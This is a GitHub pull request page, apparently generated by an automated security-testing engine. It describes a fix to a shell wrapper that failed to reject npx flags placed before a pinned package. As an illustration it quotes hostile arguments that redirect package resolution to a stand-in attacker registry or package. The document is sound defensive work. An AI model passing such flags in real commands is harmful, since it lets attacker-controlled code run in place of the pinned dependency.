Repository navigation
dream(security-adversarial): pre-pin npx flags bypassed the darwin pin; wrapper now… - #28
Merged
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Draft PR opened by the dream engine on a GATED ACCEPT night (2026-10-08-dream-machine, run
ca8c74e024bc5abf).Candidate tree
f5eb3003700edc109baaec4601ff3360331bf164was applied in isolation and the required evaluators re-run against it: bench=PASSED, darwin=PASSED. Witness0fa10caa4075.A human decides the merge — evaluation is not promotion.
Finding: Given the pin-discipline loop in
scripts/darwin-entrypoint.sh(lines 48-73) validates only the darwin version token and passes every other argument through verbatim, when the darwin command carries an npx resolution-control flag before the pinned package (e.g.--registry https://evil.exampleor-p @evil/shim@9.9.9), then the wrapper does not refuse it at the pin check and the pinned name can resolve to attacker-controlled code; after the patch, every pre-pin dash argument exits 64 while the configured command (npx @metaharness/darwin@0.10.2 evolve . --sandbox mock --mutator ruvllm --ruvllm-url … --ruvllm-model qwen3.8-27B) behaves unchanged.Gate: ACCEPT upheld: 2 required evaluator(s) passed on candidate tree f5eb3003700e